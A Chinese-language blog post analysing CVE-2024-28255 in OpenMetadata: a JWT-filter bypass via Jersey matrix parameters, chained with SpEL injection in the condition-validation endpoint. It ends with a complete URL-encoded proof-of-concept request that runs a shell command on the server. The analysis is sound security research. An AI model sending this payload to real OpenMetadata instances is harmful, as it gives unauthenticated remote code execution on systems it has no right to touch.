CVE-2024-28255 OpenMetaData 未授权命令执行漏洞分析
Drunkbaby Lv6

比较简单的一个洞,不过我自己也🕊了好久了

0x01 漏洞描述

OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持。 OpenMetadata存在安全漏洞,该漏洞源于当请求的路径包含任何排除的端点时,过滤器将返回而不验证 JWT。

0x02 影响版本

OpenMetaData < 1.2.4

0x03 漏洞分析

debug 很简单,yml 里面加入这个即可

1
OPENMETADATA_DEBUG: ${OPENMETADATA_DEBUG:-true}

首先来看后台 RCE 的部分,其实有四个 Utils 类都有问题,这里只挑一个来讲

该漏洞出现在 EventSubscriptionResource.java 中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GET  
@Path("/validation/condition/{expression}")
@Operation(
operationId = "validateCondition",
summary = "Validate a given condition",
description = "Validate a given condition expression used in filtering rules.",
responses = {
@ApiResponse(responseCode = "204", description = "No value is returned"),
@ApiResponse(responseCode = "400", description = "Invalid expression")
})
public void validateCondition(
@Context UriInfo uriInfo,
@Context SecurityContext securityContext,
@Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression")
String expression) {
AlertUtil.validateExpression(expression, Boolean.class);
}

跟进 validateExpression 方法,一眼 SpEL 表达式注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static <T> T validateExpression(String condition, Class<T> clz) {  
if (condition == null) {
return null;
}
Expression expression = parseExpression(condition);
AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null);
try {
return expression.getValue(ruleEvaluator, clz);
} catch (Exception exception) {
// Remove unnecessary class details in the exception message
String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
}
}

接下来看一下前面鉴权绕过的部分

在 OpenMetadata 使用 JwtFilter.java 对 JWT 进行验证,有部分 API 不需要做认证,在 JwtFilter.java 对这部分不需要做认证的 API 进行排除,如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static final List<String> EXCLUDED_ENDPOINTS =  
List.of(
"v1/system/config",
"v1/users/signup",
"v1/system/version",
"v1/users/registrationConfirmation",
"v1/users/resendRegistrationToken",
"v1/users/generatePasswordResetLink",
"v1/users/password/reset",
"v1/users/checkEmailInUse",
"v1/users/login",
"v1/users/refresh");

在 API 进行鉴权时,OpenMetadata 的写法如下:

1
2
3
4
5
6
public void filter(ContainerRequestContext requestContext) {  
try {
UriInfo uriInfo = requestContext.getUriInfo();
if (!EXCLUDED_ENDPOINTS.stream().anyMatch((endpoint) -> {
return uriInfo.getPath().contains(endpoint);
}))

这里要怎么进行漏洞利用呢?结合以往最常见的 bypass 手段应该是 /v1/users/login/../../../xxx/xxx,但是这里的中间件是 Jersey,用 / 是无效的。但是类似;矩阵参数会进行处理:

在 .class 文件当中,endpoint 没办法追踪变量,反编译看了一下,一下子就看明白了,getPath() 用来获取请求的整个路径。

1
2
3
4
5
6
7
public void filter(ContainerRequestContext requestContext) {
UriInfo uriInfo = requestContext.getUriInfo();
if (EXCLUDED_ENDPOINTS.stream().anyMatch(endpoint -> uriInfo.getPath().contains(endpoint))) {
return;
}
...
<JWT Token Validation>

uriInfo.getPath() 中包含 JwtFilter 中的白名单列表。看完了路径绕过,我个人对最终实现比较好奇,为什么我发起一个 /api/v1;v1/users/login/events/subscriptions/validation/condition 的请求,最终却能请求到 /v1/events/subscriptions/subscriptions/validation/condition

类似于 Tomcat,在 glassfish/jersey 中有一个 doDispatcher 来做请求的集中处理与分发的责任链机制,对应的路由处理是在 org.glassfish.jersey.server.internal.routing.RoutingStage#apply 方法

对于子资源类型的请求,这里会逐级查找。首先找到前缀匹配的的顶级路由,然后根据顶级路由进行查找。跟进至 org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply 方法,这里的处理非常玄妙。

1
rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false)));

先来看 getPath 的结果

接着跟进 SingleMatchResult 构造函数看是怎么处理的

1
2
3
public SingleMatchResult(String path) {  
this.path = stripMatrixParams(path);
}

继续跟进 stripMatrixParams() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static String stripMatrixParams(String path) {  
int e = path.indexOf(59);
if (e == -1) {
return path;
} else {
int s = 0;
StringBuilder sb = new StringBuilder();

do {
sb.append(path, s, e);
s = path.indexOf(47, e + 1);
if (s == -1) {
break;
}

e = path.indexOf(59, s);
} while(e != -1);

if (s != -1) {
sb.append(path, s, path.length());
}

return sb.toString();
}
}

先提取第一次出现 ; 的地方,提取完毕之后,拿到 result1 字符串,再去定位 result1 字符串的第一个 /,如果不存在则直接 break。否则从第一个 / 出现的地方,开始找第一次出现 ; 的地方。如果没有了,则跳出循环,如果有则继续处理。在我们精心构造过之后的 payload,得到的结果就顺理成章变成了 /v1/events/subscriptions/validation/condition/xxx

从上面开始,拿到了核心路由非常关键。随后的语句把路由表和我们处理之后的核心路由进行比较,拿到一个新的路由表(前面其实就拿到一个路由表了)

回到 org.glassfish.jersey.server.internal.routing.RoutingStage#_appy 方法,进入到迭代器了。迭代器里面会取出所有路由,根据匹配规则进行优先匹配,接着提取出 endpoint

跟进 Routers.extractEndpoint(router) 来看具体的路由处理。router 就是被请求的资源接口,判断当前资源接口是否确认为接口,如果是的话,返回接口所有信息,最终得到的接口如图

非常清晰,非常有趣。最终拿到的这个 endpoint 才是真正的路由资源。而在请求的过程中,由于 filter 还是仅仅处理资源请求,所以产生了这个漏洞,同理其实自己也可以构造类似的 payload,在本文中就不列举了。

0x04 漏洞复现

1
http://127.0.0.1:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/%54%28%6a%61%76%61.%6c%61%6e%67.%52%75%6e%74%69%6d%65%29.%67%65%74%52%75%6e%74%69%6d%65%28%29.%65%78%65%63%28%6e%65%77%20%6a%61%76%61.%6c%61%6e%67.%53%74%72%69%6e%67%28%54%28%6a%61%76%61.%75%74%69%6c.%42%61%73%65%36%34%29.%67%65%74%44%65%63%6f%64%65%72%28%29.%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29

0x05 Ref

https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/

 评论